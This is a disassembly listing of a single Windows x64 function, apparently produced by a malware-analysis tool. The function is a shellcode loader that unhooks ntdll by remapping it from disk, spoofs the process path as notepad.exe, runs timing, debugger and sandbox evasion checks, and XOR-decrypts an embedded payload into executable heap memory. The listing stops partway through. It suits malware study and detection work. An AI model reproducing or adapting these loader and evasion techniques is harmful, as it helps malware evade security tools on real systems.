Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x928
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x890], xmm6
mov dword [rbp + 0x8d0], ecx
mov qword [rbp + 0x8d8], rdx
call fcn.140002fd0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x818], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x810], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x808], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x888], rax
mov dword [rbp + 0x880], 0
mov dword [rbp + 0x804], 0
mov ecx, 0xa68
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f8], rax
mov dword [rbp + 0x884], 0
jmp 0x1400015a7
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x884]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f8]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x884]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7f8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x880], eax
add dword [rbp + 0x884], 1
cmp dword [rbp + 0x884], 0x299
jle 0x14000152b
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sub.msvcrt.dll_free
cmp qword [rbp + 0x888], 0
jne 0x140001600
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x888], rax
cmp qword [rbp + 0x888], 0
je 0x140001a17
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5f0]
mov rax, qword [rbp + 0x808]
mov r10, qword [rbp + 0x888]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5f0]
mov qword [rbp + 0x7f0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x87c], 0
mov dword [rbp + 0x878], 0
mov ecx, 0x400
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e0], rax
mov dword [rbp + 0x874], 0
jmp 0x14000172f
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7e0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x87c], eax
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0xff
jle 0x1400016c1
mov dword [rbp + 0x874], 0
jmp 0x1400017b7
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x878]
mov eax, dword [rbp + 0x874]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x7ac]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x1400065c0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.1400041a0
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x878], eax
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0xff
jle 0x140001747
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x878]
movss xmm1, dword [0x1400065c8]
divss xmm0, xmm1
movss dword [rbp + 0x7dc], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x7dc]
movq rax, xmm3
movq xmm0, rax
call fcn.140003fc0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x7d8], xmm0
mov rax, qword [rbp + 0x7e0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7f0]
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rdx
mov qword [rbp + 0x7b8], rax
mov word [rbp + 0x872], 0
jmp 0x1400019ff
mov rax, qword [rbp + 0x7b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x872]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7b0], rax
mov rax, qword [rbp + 0x7b0]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019ee
mov dword [rbp + 0x5b8], 0
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5b8]
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7b0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7f0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5b8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x872]
add eax, 1
mov word [rbp + 0x872], ax
mov rax, qword [rbp + 0x7b8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x872], ax
jb 0x1400018c3
mov dword [rbp + 0x5bc], 0
mov rax, qword [rbp + 0x818]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x7a0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5c0]
lea rax, [rbp + 0x5bc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x7a0]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5c8]
add rax, 0x3c
mov qword [rbp + 0x798], rax
mov rax, qword [rbp + 0x798]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x798]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x790]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x788], rax
cmp qword [rbp + 0x788], 0
jne 0x140002f08
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x780], rax
cmp qword [rbp + 0x780], 0
jne 0x140002f08
mov qword [rbp + 0x778], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x37daa80
mov ecx, 0
call rax
mov qword [rbp + 0x778], rax
cmp qword [rbp + 0x778], 0
je 0x140002f08
mov rax, qword [rbp + 0x778]
mov edx, 0x37daa80
mov rcx, rax
call fcn.140004df0
mov rax, qword [rbp + 0x778]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov dword [rbp + 0x76c], 0x34c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x754], eax
mov eax, dword [rbp + 0x76c]
mov r8, qword [rbp + 0x760]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x758]
call rax
mov dword [rbp + 0x750], eax
mov eax, dword [rbp + 0x750]
sub eax, dword [rbp + 0x754]
cmp eax, 0x31a
jbe 0x140002f08
mov dword [rbp + 0x5b4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x748], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5b4]
mov r8, qword [rbp + 0x748]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5b4]
cmp eax, 1
je 0x140002f08
mov qword [rbp + 0x868], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140001d87
mov rax, qword [rbp + 0x740]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x738], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x738]
mov r9d, 0x3000
mov r8d, 0x302
mov edx, 0
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140002f08
mov dword [rbp + 0x734], 0x2a9
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x728], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x734]
mov r8, qword [rbp + 0x728]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x277
jbe 0x140002f08
mov dword [rbp + 0x714], 0x2c8
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6fc], eax
mov eax, dword [rbp + 0x714]
mov r8, qword [rbp + 0x708]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x700]
call rax
mov dword [rbp + 0x6f8], eax
mov eax, dword [rbp + 0x6f8]
sub eax, dword [rbp + 0x6fc]
cmp eax, 0x296
jbe 0x140002f08
mov qword [rbp + 0x6f0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xe84a80
mov ecx, 0
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x140002f08
mov rax, qword [rbp + 0x6f0]
mov edx, 0xe84a80
mov rcx, rax
call fcn.140004df0
mov rax, qword [rbp + 0x6f0]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x140002f08
lea rax, [rbp + 0x140]
lea rdx, [0x140006148]
mov ecx, 0x8e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov ecx, 0x674
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d0], rax
mov ecx, 0x674
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c8], rax
mov ecx, 0x674
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov ecx, 0x674
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6b8], rax
mov dword [rbp + 0x860], 0x19c
mov dword [rbp + 0x864], 0
jmp 0x14000219e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6d0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c8]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6d0]
add rax, rdx
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x860]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov edx, dword [rbp + 0x864]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x6b8]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x860], 1
add dword [rbp + 0x864], 1
cmp dword [rbp + 0x864], 0x19c
jle 0x140002092
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x810]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6b0]
mov r8d, 0
mov edx, 0x472
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x6a8]
mov r8d, 0x472
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x818]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x690], rax
mov ecx, 0x1c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x688], rax
mov ecx, 0x1c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x680], rax
mov ecx, 0x1c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov ecx, 0x1c4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x670], rax
mov dword [rbp + 0x858], 0x70
mov dword [rbp + 0x85c], 0
jmp 0x1400023fc
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x688]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x680]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x688]
add rax, rdx
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x858]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x680]
add rax, rdx
mov edx, dword [rbp + 0x85c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x670]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x858], 1
add dword [rbp + 0x85c], 1
cmp dword [rbp + 0x85c], 0x70
jle 0x1400022f0
mov rax, qword [rbp + 0x688]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x680]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x670]
mov rcx, rax
call sub.msvcrt.dll_free
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x698]
mov r9, qword [rbp + 0x690]
mov r8d, 0x472
mov rcx, rax
call r9
mov dword [rbp + 0x854], 0
mov dword [rbp + 0x850], 0
mov dword [rbp + 0x84c], 0
movabs rax, 0x34f9f7ff1530c4a3
movabs rdx, 0x57719beb2cf7e39e
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0xd955841e0fc94e62
movabs rdx, 0x5cd331b2b8a79f24
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x2f570aff9e609c5b
movabs rdx, 0xc4f0d154e0cb7c64
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xbfe83b0994752754
movabs rdx, 0x645e1faa2311ecef
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x1f09e19411c1a3d0
movabs rdx, 0xdcfc739759cc7b4a
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa11be614c8638aca
movabs rdx, 0xdebb9f6ec5dedc05
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x1118bd85e0c59e7d
movabs rdx, 0x7debfab609697a2d
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x617debfab609697a
movabs rdx, 0x7fb87acdd41bdd
mov qword [rbp + 0x29], rax
mov qword [rbp + 0x31], rdx
movabs rax, 0x7f838438a4e31a6c
movabs rdx, 0x2fcc18dd43e82fa1
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x9dc44fe0e7a64a98
movabs rdx, 0x6f5c5b17048bd15
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0xcbb5a956ee91f22a
movabs rdx, 0xcaa825d679295c26
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x8e357fe6958f11bb
movabs rdx, 0xf71bdfee1ac62407
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], rdx
movabs rax, 0xcceff20486b1bc74
movabs rdx, 0x5309c1ba11b08aba
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], rdx
movabs rax, 0xb82f304ad7e1b30
movabs rdx, 0x3ad36ecabb36a1b0
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], rdx
movabs rax, 0xbaf98a87e90e9bc4
movabs rdx, 0x8f76c103c3bfeeb5
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], rdx
movabs rax, 0x7244ae4ce08b1c8f
movabs rdx, 0x37a17b64fdb4b7
mov qword [rbp + 0x12f], rax
mov qword [rbp + 0x137], rdx
jmp 0x1400028be
mov eax, dword [rbp + 0x854]
cdqe
movzx edx, byte [rbp + rax + 0xc0]
mov eax, dword [rbp + 0x850]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x854]
cdqe
mov byte [rbp + rax + 0x40], dl
cmp dword [rbp + 0x850], 0x77
jne 0x1400026bc
mov dword [rbp + 0x850], 0
jmp 0x1400028b7
mov ecx, 0x6a4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x618], rax
mov dword [rbp + 0x848], 0
jmp 0x140002765
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x1a8
jle 0x1400026dc
mov dword [rbp + 0x848], 0
jmp 0x140002891
mov dword [rbp + 0x614], 0
jmp 0x140002873
mov eax, dword [rbp + 0x848]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rax]
mov eax, dword [rbp + 0x614]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm1, dword [rax]
comiss xmm0, xmm1
jbe 0x14000286c
mov eax, dword [rbp + 0x614]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x610], xmm0
mov eax, dword [rbp + 0x848]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rdx, rax
mov eax, dword [rbp + 0x614]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x614]
cdqe
add rax, 1
lea rdx, [rax*4]
mov rax, qword [rbp + 0x618]
add rax, rdx
movss xmm0, dword [rbp + 0x610]
movss dword [rax], xmm0
add dword [rbp + 0x848], 1
mov eax, 0x1a8
sub eax, dword [rbp + 0x848]
cmp dword [rbp + 0x614], eax
jl 0x140002793
add dword [rbp + 0x848], 1
cmp dword [rbp + 0x848], 0x1a8
jle 0x140002784
mov rax, qword [rbp + 0x618]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x850], 1
add dword [rbp + 0x854], 1
mov eax, dword [rbp + 0x854]
cmp eax, 0x7d
jbe 0x140002679
mov dword [rbp + 0x854], 0
jmp 0x140002b38
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x84c]
cdqe
movzx ecx, byte [rbp + rax + 0x40]
mov eax, dword [rbp + 0x854]
movsxd rdx, eax
mov rax, qword [rbp + 0x698]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x634], 0
mov ecx, 0xe84
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x628], rax
mov dword [rbp + 0x844], 0
jmp 0x140002a25
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x634], edx
mov edx, dword [rbp + 0x634]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x634], eax
cmp dword [rbp + 0x634], 0x168
jle 0x1400029ab
mov eax, dword [rbp + 0x844]
cdqe
